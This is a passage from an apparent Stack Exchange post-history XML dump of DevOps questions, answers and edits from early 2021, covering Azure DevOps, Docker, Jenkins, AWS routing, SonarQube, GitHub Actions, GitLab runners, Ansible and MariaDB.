10.32.0.2:47696-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. AAAA: read udp 10.32.0.2:32876-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. AAAA: read udp 10.32.0.2:56481-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. A: read udp 10.32.0.2:50999-&gt;10.10.10.25:53: i/o timeout&quot;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="40879" PostHistoryTypeId="24" PostId="13264" RevisionGUID="dfacab5d-b8ae-492c-b85f-cc4471ab42f1" CreationDate="2021-02-02T09:26:52.080" Comment="Proposed by 6308 approved by 40 edit id of 1336" ContentLicense="CC BY-SA 4.0" />
  <row Id="40880" PostHistoryTypeId="2" PostId="13275" RevisionGUID="ef2e0f0a-36ed-451c-b971-415ae70c6d53" CreationDate="2021-02-02T09:48:11.643" UserId="25590" Text="I have created an Azure account and an Azure DevOps account with my university email. I will be working on this project with another person who has a personal Azure DevOps account, which he registered for with gmail.&#xD;&#xA;&#xD;&#xA;I can and have added him to the team and have added him as an admin. Now I want him to clone the repository (so he can start committing code, I don't just want him to clone it), but he can only view the repository when he is not logged in from his personal account (the one he is an admin with) (I have made the project public). When he is logged in with his personal account, it says he has a personal account and not a work or school one and so cannot access the page.&#xD;&#xA;&#xD;&#xA;Is there a way to make him a work or school account from Azure DevOps? He is not in my university, so he doesn't have a university email like me (he doesn't have any work or school emails at all, if that matters). Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="40881" PostHistoryTypeId="1" PostId="13275" RevisionGUID="ef2e0f0a-36ed-451c-b971-415ae70c6d53" CreationDate="2021-02-02T09:48:11.643" UserId="25590" Text="Azure DevOps requires work or school account to access project" ContentLicense="CC BY-SA 4.0" />
  <row Id="40882" PostHistoryTypeId="3" PostId="13275" RevisionGUID="ef2e0f0a-36ed-451c-b971-415ae70c6d53" CreationDate="2021-02-02T09:48:11.643" UserId="25590" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40883" PostHistoryTypeId="2" PostId="13276" RevisionGUID="6691e907-4a75-4e78-844c-332fa7f56894" CreationDate="2021-02-02T14:53:39.690" UserId="25897" Text="I'm new to docker.&#xD;&#xA;How can I start a node service via **docker-compose**, which then accepts npm commands? &#xD;&#xA;&#xD;&#xA;    docker-compose up -d --build   &lt;-- I use this command to start&#xD;&#xA;&#xD;&#xA;I want the `npm install` to be executed and **then I can enter** e.g. `npm mix` or `npm gulp` or `node -v` or `npm install node-sass --save-dev` in the container. The `package.json` should be saved on my local machine (if i use `npm install xyz`).&#xD;&#xA;&#xD;&#xA;**my Dockerfile**&#xD;&#xA;&#xD;&#xA;    FROM node:14-alpine&#xD;&#xA;    WORKDIR /var/www/html &#xD;&#xA;    COPY [&quot;package.json&quot;, &quot;package-lock.json*&quot;, &quot;npm-shrinkwrap.json*&quot;, &quot;./&quot;]&#xD;&#xA;    RUN npm install&#xD;&#xA;    COPY . .&#xD;&#xA;    EXPOSE 3000&#xD;&#xA;&#xD;&#xA;**my docker-compose.yml**&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;      node:&#xD;&#xA;        build: ./&#xD;&#xA;        stdin_open: true&#xD;&#xA;        tty: true&#xD;&#xA;        volumes: &#xD;&#xA;          - ./:/app&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40884" PostHistoryTypeId="1" PostId="13276" RevisionGUID="6691e907-4a75-4e78-844c-332fa7f56894" CreationDate="2021-02-02T14:53:39.690" UserId="25897" Text="How can I enter node commands (like &quot;node -v&quot; or &quot;npm intall xyz --save-dev&quot;) in the running docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40885" PostHistoryTypeId="3" PostId="13276" RevisionGUID="6691e907-4a75-4e78-844c-332fa7f56894" CreationDate="2021-02-02T14:53:39.690" UserId="25897" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40886" PostHistoryTypeId="2" PostId="13277" RevisionGUID="dcc4277c-688e-4205-bfc1-b814b90280c0" CreationDate="2021-02-02T19:46:11.830" UserId="4115" Text="If you want to use a database, you can always shell out to a database:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sh &quot;mysql -u my_username -p my_password -h my_hostname -P 3306 -e \'INSERT INTO my_table (column1, column2, ...) VALUES (value1, value3, ...);\'  my_database&quot;&#xD;&#xA;```&#xD;&#xA;You can also write out your data to a JSON or YAML or whatever type of file and then store it in Jenkins' built-in artifact storage with [archiveArtifacts](https://www.jenkins.io/doc/pipeline/steps/core/#archiveartifacts-archive-the-artifacts)." ContentLicense="CC BY-SA 4.0" />
  <row Id="40891" PostHistoryTypeId="2" PostId="13279" RevisionGUID="463b7a4e-555a-4dfe-a51b-553966f4ea4e" CreationDate="2021-02-03T07:00:20.253" UserId="25914" Text="I use DevOps server 2020&#xD;&#xA;In the server administration Console I set the scheduled backups.&#xD;&#xA;The backups works fine and I set the Email smtp server this also works because I can send mail from the &quot;Send Test Email&quot; option. I Also checked both options in the Scheduled Backups wizard to send Email after a job has succeeded or failed.&#xD;&#xA;But...... I never get any mail, I already looked at the notifications in the DevOps server settings but there is no predefined notification for backups.&#xD;&#xA;How can I achieve this !!!&#xD;&#xA;Can anybody explain me how to do this." ContentLicense="CC BY-SA 4.0" />
  <row Id="40892" PostHistoryTypeId="1" PostId="13279" RevisionGUID="463b7a4e-555a-4dfe-a51b-553966f4ea4e" CreationDate="2021-02-03T07:00:20.253" UserId="25914" Text="No Backup notifications from DevOps server 2020" ContentLicense="CC BY-SA 4.0" />
  <row Id="40893" PostHistoryTypeId="3" PostId="13279" RevisionGUID="463b7a4e-555a-4dfe-a51b-553966f4ea4e" CreationDate="2021-02-03T07:00:20.253" UserId="25914" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40894" PostHistoryTypeId="2" PostId="13280" RevisionGUID="32219e82-dbea-4210-a073-69fc2b4765ec" CreationDate="2021-02-03T09:15:01.180" UserId="4997" Text="# Background&#xD;&#xA;we currently use google distance matrix (GDM) apis a lot to help in core business functions. As the cost of GDM went up, we worked on switching on cheaper alternatives. We decided to use OpenStreetMap (OSM) as an alternative. Now we have OSM hosted on aws Elastic Service Container (ECS). &#xD;&#xA;&#xD;&#xA;# Problem&#xD;&#xA;Sometimes (for reasons beyond the scope of this question) the OSM service fails or times out. We put logic in the application code that if it fails (or times out, with a timeout being 1s), then switch back to GDM as a backup. The problem is that if there is a sudden burst of requests, using the ECS architecture these requests will stack up, and so if we have 20,000 requests that's a total potential lag of 20,000 seconds, and the the system crashes.&#xD;&#xA;&#xD;&#xA;One way of solving this problem is putting in the application code logic that keeps track of the number of OSM timeouts TOs per time T(persisting that number into redis or something) and once it reaches past a certain number, we will switch back to GDM, and after Z time elapsing, we want to try using OSM again (the idea is that the server would be operational again). &#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;Is it possible to do the above in an AWS Service that is specialized for such routing problems? I was thinking something like AWS Gateway but I couldn't find a place where routing logic can be put there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40895" PostHistoryTypeId="1" PostId="13280" RevisionGUID="32219e82-dbea-4210-a073-69fc2b4765ec" CreationDate="2021-02-03T09:15:01.180" UserId="4997" Text="A service by AWS that routes traffic based on simple logic" ContentLicense="CC BY-SA 4.0" />
  <row Id="40896" PostHistoryTypeId="3" PostId="13280" RevisionGUID="32219e82-dbea-4210-a073-69fc2b4765ec" CreationDate="2021-02-03T09:15:01.180" UserId="4997" Text="&lt;amazon-ecs&gt;&lt;fargate&gt;&lt;api-gateway&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40898" PostHistoryTypeId="2" PostId="13282" RevisionGUID="64944d02-5b6b-4d99-8220-45a1c1713f30" CreationDate="2021-02-03T13:31:57.307" UserId="25919" Text="I currently have a pipeline in Azure which consists of a bunch of YAML which eventually calls some terraform script to handle the deployment side. &#xD;&#xA;&#xD;&#xA;What is the best way to handle dev testing of changes to the pipeline? &#xD;&#xA;&#xD;&#xA;For example, i want to add a new task in the YAML. There doesnt seem to be a way to test this without actually performing and completing a pull request. &#xD;&#xA;I the cases where i do something wrong and the pipeline (say an invalid parameter value) fails i need to do a whole new checkin, push, pull request, merge and then wait for the pipeline to complete or fail. &#xD;&#xA;&#xD;&#xA;There has to be a better way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40899" PostHistoryTypeId="1" PostId="13282" RevisionGUID="64944d02-5b6b-4d99-8220-45a1c1713f30" CreationDate="2021-02-03T13:31:57.307" UserId="25919" Text="How to test pipeline changes in Azure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40900" PostHistoryTypeId="3" PostId="13282" RevisionGUID="64944d02-5b6b-4d99-8220-45a1c1713f30" CreationDate="2021-02-03T13:31:57.307" UserId="25919" Text="&lt;terraform&gt;&lt;git&gt;&lt;azure&gt;&lt;yaml&gt;&lt;pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40901" PostHistoryTypeId="2" PostId="13283" RevisionGUID="8aff2535-a1cf-4e7d-9e74-cb4ce3f53e27" CreationDate="2021-02-03T13:37:08.690" UserId="6308" Text="You can use AWS APP MESH to route traffic between `OSM` and `GDM`. First, all traffic will be sent to `OSM` using `App Mesh`'s `VirtualRouter`. &#xD;&#xA;&#xD;&#xA;`VirtualRouter` is an object to route traffic between `K8S` services. One service will be pointed to the `ECS` hosted `OSM`. Another service will be pointed to `GDM` using `External Service` &#xD;&#xA;&#xD;&#xA;You can use a `Cronjob` which will run in a pod and sense timeout-related metrics from `ElasticCache`. If the condition matched - the code host in the pod and running as a `CronJob` will modify `VirtualRouter`. " ContentLicense="CC BY-SA 4.0" />
  <row Id="40908" PostHistoryTypeId="50" PostId="12071" RevisionGUID="9df5ca1e-c244-4ee2-a80a-df58234bb76f" CreationDate="2021-02-03T16:08:35.947" UserId="-1" />
  <row Id="40909" PostHistoryTypeId="2" PostId="13286" RevisionGUID="e64a02a6-8f94-4f1f-9553-736fbf11a0f8" CreationDate="2021-02-03T16:21:51.557" UserId="2494" Text="I am running Sonarqube on a monolithic application on our CI server and it is taking over 60GB of memory.&#xD;&#xA;&#xD;&#xA;Is this normal?&#xD;&#xA;&#xD;&#xA;What can I do to not use so much memory during the Sonarqube scan?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40910" PostHistoryTypeId="1" PostId="13286" RevisionGUID="e64a02a6-8f94-4f1f-9553-736fbf11a0f8" CreationDate="2021-02-03T16:21:51.557" UserId="2494" Text="Sonarqube taking massive amounts of memory" ContentLicense="CC BY-SA 4.0" />
  <row Id="40911" PostHistoryTypeId="3" PostId="13286" RevisionGUID="e64a02a6-8f94-4f1f-9553-736fbf11a0f8" CreationDate="2021-02-03T16:21:51.557" UserId="2494" Text="&lt;continuous-integration&gt;&lt;cicd&gt;&lt;sonarqube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40912" PostHistoryTypeId="2" PostId="13287" RevisionGUID="e32142c1-827a-486b-82f6-b7b9e0a532d3" CreationDate="2021-02-03T18:38:13.430" UserId="25821" Text="This line is the input for my matrix job for a GitHub Workflow (single item)&#xD;&#xA;&#xD;&#xA;    &quot;[&quot;[\&quot;root/apps/services/charts\&quot;,\&quot;charts\&quot;,\&quot;dist/root.apps.services.charts/charts.pex\&quot;]&quot;]&quot;&#xD;&#xA;more readable version: [ &quot;['root/apps/services/charts', 'charts', dist/root.apps.services.charts/charts.pex]&quot; ]&#xD;&#xA;&#xD;&#xA;The Job set up:&#xD;&#xA;&#xD;&#xA;    build_charts:&#xD;&#xA;    needs: parse_files&#xD;&#xA;    if: ${{ needs.parse_files.outputs.paths_and_files != '[]' }}&#xD;&#xA;    runs-on: ubuntu-latest&#xD;&#xA;    strategy:&#xD;&#xA;      max-parallel: 3&#xD;&#xA;      matrix: ${{ fromJson(needs.parse_files.outputs.paths_and_files) }}&#xD;&#xA;Then I plan to use the content in the matrix as such:&#xD;&#xA;&#xD;&#xA;    - name: Build Docker Image[s]&#xD;&#xA;        run: |-&#xD;&#xA;          docker build \&#xD;&#xA;          --file /dist/Dockerfile \&#xD;&#xA;          --tag &quot;gcr.io/$DEV_PROJECT_ID/&quot;${{ fromJson(matrix)[0] }}&quot;/$IMAGE:&quot;${{ fromJson(matrix)[1] }}&quot;-$GITHUB_SHA&quot; \&#xD;&#xA;          --build-arg GITHUB_SHA=&quot;$GITHUB_SHA&quot; \&#xD;&#xA;          --build-arg GITHUB_REF=&quot;$GITHUB_REF&quot; \&#xD;&#xA;          --build-arg IMAGE=$IMAGE \&#xD;&#xA;          --build-arg PATH=${{ fromJson(matrix)[2] }}&#xD;&#xA;but when ever I access this job I get this error&#xD;&#xA;&#xD;&#xA;    Error when evaluating 'strategy' for job 'build_charts'. (Line: 71, Col: 15): A sequence was not expected&#xD;&#xA;In my previous javascript action, I previously set it up to pass back an array of arrays, and even with an array of JSON.stringify(array) strings it has the same error on both versions, this is also the reason that I'm performing a fromJson(matrix)[0] when I access the values. how would I go about updating this workflow so I can perform a job for each matrice, and access its values?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40913" PostHistoryTypeId="1" PostId="13287" RevisionGUID="e32142c1-827a-486b-82f6-b7b9e0a532d3" CreationDate="2021-02-03T18:38:13.430" UserId="25821" Text="GithHub actions pass array of arrays to matrix" ContentLicense="CC BY-SA 4.0" />
  <row Id="40914" PostHistoryTypeId="3" PostId="13287" RevisionGUID="e32142c1-827a-486b-82f6-b7b9e0a532d3" CreationDate="2021-02-03T18:38:13.430" UserId="25821" Text="&lt;automation&gt;&lt;build-pipeline&gt;&lt;yaml&gt;&lt;json&gt;&lt;github-actions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40915" PostHistoryTypeId="5" PostId="13287" RevisionGUID="5c90f77c-c6b7-419d-9ce8-2bb9f0919443" CreationDate="2021-02-03T19:03:34.960" UserId="25821" Comment="Added additional context regarding the inputs" Text="This line is the input for my matrix job for a GitHub Workflow (single item)&#xD;&#xA;&#xD;&#xA;    &quot;[&quot;[\&quot;root/apps/services/charts\&quot;,\&quot;charts\&quot;,\&quot;dist/root.apps.services.charts/charts.pex\&quot;]&quot;]&quot;&#xD;&#xA;more readable version: [ &quot;['root/apps/services/charts', 'charts', dist/root.apps.services.charts/charts.pex]&quot; ]&#xD;&#xA;&#xD;&#xA;The Job set up:&#xD;&#xA;&#xD;&#xA;    build_charts:&#xD;&#xA;    needs: parse_files&#xD;&#xA;    if: ${{ needs.parse_files.outputs.paths_and_files != '[]' }}&#xD;&#xA;    runs-on: ubuntu-latest&#xD;&#xA;    strategy:&#xD;&#xA;      max-parallel: 3&#xD;&#xA;      matrix: ${{ fromJson(needs.parse_files.outputs.paths_and_files) }}&#xD;&#xA;Then I plan to use the content in the matrix as such:&#xD;&#xA;&#xD;&#xA;    - name: Build Docker Image[s]&#xD;&#xA;        run: |-&#xD;&#xA;          docker build \&#xD;&#xA;          --file /dist/Dockerfile \&#xD;&#xA;          --tag &quot;gcr.io/$DEV_PROJECT_ID/&quot;${{ fromJson(matrix)[0] }}&quot;/$IMAGE:&quot;${{ fromJson(matrix)[1] }}&quot;-$GITHUB_SHA&quot; \&#xD;&#xA;          --build-arg GITHUB_SHA=&quot;$GITHUB_SHA&quot; \&#xD;&#xA;          --build-arg GITHUB_REF=&quot;$GITHUB_REF&quot; \&#xD;&#xA;          --build-arg IMAGE=$IMAGE \&#xD;&#xA;          --build-arg PATH=${{ fromJson(matrix)[2] }}&#xD;&#xA;but when ever I access this job I get this error&#xD;&#xA;&#xD;&#xA;    Error when evaluating 'strategy' for job 'build_charts'. (Line: 71, Col: 15): A sequence was not expected&#xD;&#xA;In my previous javascript action, I previously set it up to pass back an array of arrays, and even with an array of JSON.stringify(array) strings it has the same error on both versions, this is also the reason that I'm performing a fromJson(matrix)[0] when I access the values. how would I go about updating this workflow so I can perform a job for each matrice, and access its values?&#xD;&#xA;&#xD;&#xA;Edit: when I perform `core.setOutput(&quot;paths_and_files&quot;, arrayOfTuples);`&#xD;&#xA;in JS it always parses to an array of arrays it appears." ContentLicense="CC BY-SA 4.0" />
  <row Id="40916" PostHistoryTypeId="2" PostId="13288" RevisionGUID="18643cba-4061-4288-a34c-45a7f27e9ab5" CreationDate="2021-02-03T20:36:14.863" UserId="19056" Text="It is better to [follow][1] the hardware recommendations for the SonarCube installations. Following are some of the important considerations. &#xD;&#xA;&#xD;&#xA; - SonarQube server should be on a real DB, not on H2&#xD;&#xA; - The analysis should occur very close to the SonarQube DB&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.sonarqube.org/latest/requirements/hardware-recommendations/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40918" PostHistoryTypeId="5" PostId="13286" RevisionGUID="037bd6d7-5f10-41ef-a5a6-ff19b1a2613f" CreationDate="2021-02-03T21:46:07.017" UserId="2494" Comment="added 36 characters in body" Text="I am running Sonarqube on a monolithic application on our CI server and the scanner (not the Sonarqube server) is taking over 60GB of memory.&#xD;&#xA;&#xD;&#xA;Is this normal?&#xD;&#xA;&#xD;&#xA;What can I do to not use so much memory during the Sonarqube scan?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40919" PostHistoryTypeId="2" PostId="13289" RevisionGUID="8a879063-89d5-43e9-b16c-b61182ca5138" CreationDate="2021-02-03T22:25:15.940" UserId="25928" Text="In trying to set up a Code Pushed - Service Hook Subscription, I was hoping to be able to include a variable, specifically the repository path or URL.&#xD;&#xA;I've not been able to find documentation to support this functionality.&#xD;&#xA;&#xD;&#xA;The intended purpose is to send a http request to TeamCity's commitHookNotification service with the path of the repository changed.&#xD;&#xA;&#xD;&#xA;Looking for: 1) Can this be done in Azure Devops, 2) if so, is there documentation or an example to follow&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="40920" PostHistoryTypeId="1" PostId="13289" RevisionGUID="8a879063-89d5-43e9-b16c-b61182ca5138" CreationDate="2021-02-03T22:25:15.940" UserId="25928" Text="Can I use a variable as part of the URL when creating a new Service Hook Subscription in Azure Devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="40921" PostHistoryTypeId="3" PostId="13289" RevisionGUID="8a879063-89d5-43e9-b16c-b61182ca5138" CreationDate="2021-02-03T22:25:15.940" UserId="25928" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40922" PostHistoryTypeId="5" PostId="13286" RevisionGUID="8b144e1c-bde0-425b-a960-c44a2816afc0" CreationDate="2021-02-03T22:34:45.863" UserId="2494" Comment="added 17 characters in body" Text="I am running Sonarqube on a monolithic application on our CI server and the scanner (not the Sonarqube server) is taking over 60GB of memory.&#xD;&#xA;&#xD;&#xA;Is this normal?&#xD;&#xA;&#xD;&#xA;What can I do so the scanner will not use so much memory during the Sonarqube scan?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40924" PostHistoryTypeId="2" PostId="13291" RevisionGUID="e612104e-a736-473f-8f6c-8928ac9c1d6f" CreationDate="2021-02-04T03:18:39.813" UserId="17246" Text="I have gitlab runner with, `docker` as executor and `docker:latest` as default image.&#xD;&#xA;&#xD;&#xA;Runner is connected to the project and runs pipeline, but it stuck at&#xD;&#xA;&#xD;&#xA;&gt; fatal: unable to access 'https://gitlab.myhost.com:1234/sachith/omy-project.git/': Failed to connect to gitlab.myhost.com port 1234: Operation timed out &#xD;&#xA;&#xD;&#xA;I logged to gitlab-runner running server and tried cloning project as `gitlab-runner` user and it worked.&#xD;&#xA;&#xD;&#xA;Why am I getting this error?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40925" PostHistoryTypeId="1" PostId="13291" RevisionGUID="e612104e-a736-473f-8f6c-8928ac9c1d6f" CreationDate="2021-02-04T03:18:39.813" UserId="17246" Text="Gitlab runner fails with connection timeout" ContentLicense="CC BY-SA 4.0" />
  <row Id="40926" PostHistoryTypeId="3" PostId="13291" RevisionGUID="e612104e-a736-473f-8f6c-8928ac9c1d6f" CreationDate="2021-02-04T03:18:39.813" UserId="17246" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40927" PostHistoryTypeId="5" PostId="13291" RevisionGUID="4240ffae-46f5-4c30-a411-b1a63562a7d8" CreationDate="2021-02-04T04:19:07.173" UserId="17246" Comment="added new details" Text="I have gitlab runner with, `docker` as executor and `docker:latest` as default image.&#xD;&#xA;&#xD;&#xA;Runner is connected to the project and runs pipeline, but it stuck at&#xD;&#xA;&gt; Reinitialized existing Git repository in /builds/sachith/omy-project/.git/&#xD;&#xA;&gt;&#xD;&#xA;&gt; fatal: unable to access 'https://gitlab.myhost.com:1234/sachith/omy-project.git/': Failed to connect to gitlab.myhost.com port 1234: Operation timed out &#xD;&#xA;&#xD;&#xA;I logged to gitlab-runner running server and tried cloning project as `gitlab-runner` user and it worked.&#xD;&#xA;&#xD;&#xA;Why am I getting this error?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40930" PostHistoryTypeId="2" PostId="13292" RevisionGUID="44792423-3379-448a-a424-3f426ed45a85" CreationDate="2021-02-04T13:48:05.310" UserId="11598" Text="I have created a blue-green deployment in AWS CodeDeploy with the option Manually provision instances.&#xD;&#xA;&#xD;&#xA;but when I run pipeline code deploy show error `The deployment failed because no instances were found in your green fleet.&#xD;&#xA;&#xD;&#xA;So how to define green and blue feet? or what I miss?&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/RoY05.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40931" PostHistoryTypeId="1" PostId="13292" RevisionGUID="44792423-3379-448a-a424-3f426ed45a85" CreationDate="2021-02-04T13:48:05.310" UserId="11598" Text="The deployment failed because no instances were found in your green fleet" ContentLicense="CC BY-SA 4.0" />
  <row Id="40932" PostHistoryTypeId="3" PostId="13292" RevisionGUID="44792423-3379-448a-a424-3f426ed45a85" CreationDate="2021-02-04T13:48:05.310" UserId="11598" Text="&lt;amazon-web-services&gt;&lt;aws-codedeploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40936" PostHistoryTypeId="5" PostId="3080" RevisionGUID="0fe5f284-5d69-4998-9888-43f91517dbfa" CreationDate="2021-02-04T20:31:28.637" UserId="9877" Comment="slight spelling and grammar issues, likely due to native language differences" Text="Actually, one missing point here is the horizontal scalability. There's an article from Jamie Alquiza long time ago addressed this:&#xD;&#xA;&#xD;&#xA;http://archive.is/pDzz0&#xD;&#xA;&#xD;&#xA;In short, you scale your php-fpm horizontally for reaching higher performance. Scaling Nginx+php-fpm together does not bring you any benefit. I encourage you do some stress testing (e.g. Tsung, Gatling, etc.; please don't do Apache ab, that is a very old toy) yourself to verify what the article stated. I personally have several real world experiences proved the article is true in general.&#xD;&#xA;&#xD;&#xA;But there're two drawback (maybe not for Kubernetes) for bare metal machines / VMs: &#xD;&#xA;&#xD;&#xA;1. How to configure Nginx dynamically discover php-fpm container changes? This is the easy part.&#xD;&#xA;2. How do we share the same volume / file systems after scaling? Nginx and php-fpm containers should read exactly the same content to reach consistency. This leaves you the least complicated puzzle piece (and the most fun part) to work on.&#xD;&#xA;&#xD;&#xA;EDITED: Now it's almost halfway into the of year 2019. Old model, php-fpm+nginx in the same pod, has different usage. If you're familiar with service mesh, then nginx (or what so call Nginmesh) serves as a sidecar to handle east-west bound traffic. East-west bound traffic mostly used to authenticate among services, or other fancy functionalities, whereas pure &quot;php-fpm only&quot; containers could not do that alone." ContentLicense="CC BY-SA 4.0" />
  <row Id="40937" PostHistoryTypeId="24" PostId="3080" RevisionGUID="0fe5f284-5d69-4998-9888-43f91517dbfa" CreationDate="2021-02-04T20:31:28.637" Comment="Proposed by 9877 approved by 40 edit id of 1337" ContentLicense="CC BY-SA 4.0" />
  <row Id="40939" PostHistoryTypeId="5" PostId="9833" RevisionGUID="2c335fea-8999-43a5-91b3-1c5fc02482f0" CreationDate="2021-02-05T00:24:01.470" UserId="16819" Comment="Added a section on handlers" Text="No, each has a different role and way of working.&#xD;&#xA;&#xD;&#xA;Starting with the easy ones:&#xD;&#xA;&#xD;&#xA;A **playbook** is simply a list of plays.  The highest level of a playbook YAML is a list, and on that list only two things are accepted: a play definition or the keyword `import_playbook`, which imports a list of plays from another playbook file, as if they were defined in that place of the calling file.&#xD;&#xA;&#xD;&#xA;The playbook is also the only thing that can be called directly from `ansible-playbook`.&#xD;&#xA;&#xD;&#xA;A **task** is, paraphrasing the [manual](https://docs.ansible.com/ansible/2.9/user_guide/playbooks_intro.html#playbook-language-example), '*nothing more than a call to an ansible module*'.  That call definition, however, knows nothing of on which hosts it is supposed to run on. &#xD;&#xA;&#xD;&#xA;The **play** is the element that ties tasks to the servers where they'll run.  The key element here is the mandatory keyword `hosts`.  This is the part of Ansible that tells which hosts are being affected and how.&#xD;&#xA;&#xD;&#xA;So, the structure and behavior is as follows:&#xD;&#xA;&#xD;&#xA;* Playbook: the highest level, just a list of plays&#xD;&#xA;  * Play: ties tasks to host lists&#xD;&#xA;     * Tasks: definition of a call to a module&#xD;&#xA;     * Besides tasks, a play may have pre-tasks, post-tasks and handlers, which are all task-like, and roles.&#xD;&#xA;&#xD;&#xA;A **role** is a different thing, as it is not defined within a playbook.  Instead, they each have their own subdirectory under the directory `roles`.  The objective of roles is to organize things.  So, under the role's subdir, you can find tasks, handlers, files and templates, variables and defaults.  All of these related to that specific role.&#xD;&#xA;&#xD;&#xA;So, roles are an easy way to encapsulate and share Ansible information.  You could have a subdir in `templates` per task, for example.  But if you wanted to share that task, you'd have to pick the template as well.  With roles, you can just zip the role dir and (almost) everything should be there.&#xD;&#xA;&#xD;&#xA;Like a play, the role defines tasks and handlers.  However, roles do not define on which hosts the role will be run.  So roles must be referenced to from a play.&#xD;&#xA;&#xD;&#xA;Roles can also declare dependencies (that is, references to other roles that need to be run before the declaring one).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;*PS1. Most of this information is available piecemeal on SO (except for playbooks, I couldn't find a proper definition of that on the documentation or elsewhere in the Internet), but I haven't found a comparison between them all, and it took me some time to figure this all out, so I'm sharing that by answering my own question.*&#xD;&#xA;&#xD;&#xA;*PS2. I really don't like the fact that roles are named 'roles'.  It sounds a bit counter intuitive to me.  The word 'role' alone alludes to user roles or server roles, to me.  So something more related to Tower (users) or inventory (servers).  I think the rationale for that naming is that they define 'one of the roles that a server functions'.  Same could be said of plays, but roles are more abstract as they're not tied to specific hosts.  Still, I find that naming confusing.*&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;A **handler** functions for the most part just like a task.  However, it is not executed by default, with the other tasks, during the playbook run.  Instead, each individual handler will be executed only if notified by a task.&#xD;&#xA;&#xD;&#xA;On a task definition, the keyword `notify` identifies the handlers the task wants to notify.  If the task is executed and reports a `changed` state (not `ok` nor `failed`), then the handler will be marked for execution.&#xD;&#xA;&#xD;&#xA;After all roles and tasks have run, each notified handler will be executed, in the order they appear in the file.  Check the [docs](https://docs.ansible.com/ansible/latest/user_guide/playbooks_handlers.html) for details.&#xD;&#xA;&#xD;&#xA;Tasks will always run (unless skipped with `when`), and are responsible for the actual changes you want to implement.  Handlers will be run only in response to tasks making changes, and are generally responsible for finalization steps (restart or reload a service that has had its configuration changed to make it effective, for example).&#xD;&#xA;&#xD;&#xA;You could probably replicate handlers behavior with tasks, but it is such a recurring pattern that Ansible provides handlers as a helper." ContentLicense="CC BY-SA 4.0" />
  <row Id="40940" PostHistoryTypeId="2" PostId="13294" RevisionGUID="800ace20-e88b-488a-bedf-a17db4e96b75" CreationDate="2021-02-05T08:59:51.787" UserId="25948" Text="I created a docker container with docker-compose in my VPS and I want to access it from my local computer but the connection will refuse. also, I allowed the 3306 port in the VPS.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;my `docker-compose.yml` file:  &#xD;&#xA;```&#xD;&#xA;version: &quot;3&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  mariadb:&#xD;&#xA;    image: mariadb&#xD;&#xA;    container_name: mariadb&#xD;&#xA;    restart: 'always'&#xD;&#xA;    volumes: &#xD;&#xA;      - ./conf:/etc/mysql&#xD;&#xA;    environment:&#xD;&#xA;      MYSQL_ROOT_PASSWORD: ${password}&#xD;&#xA;      MYSQL_DATABASE: ${database}&#xD;&#xA;      MYSQL_USER:  ${username}&#xD;&#xA;      MYSQL_PASSWORD: ${password}&#xD;&#xA;    ports:&#xD;&#xA;      - 3306:3306&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;how may I access the MariaDB server from my local computer?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40941" PostHistoryTypeId="1" PostId="13294" RevisionGUID="800ace20-e88b-488a-bedf-a17db4e96b75" CreationDate="2021-02-05T08:59:51.787" UserId="25948" Text="docker mariadb access from remote" ContentLicense="CC BY-SA 4.0" />
  <row Id="40942" PostHistoryTypeId="3" PostId="13294" RevisionGUID="800ace20-e88b-488a-bedf-a17db4e96b75" CreationDate="2021-02-05T08:59:51.787" UserId="25948" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
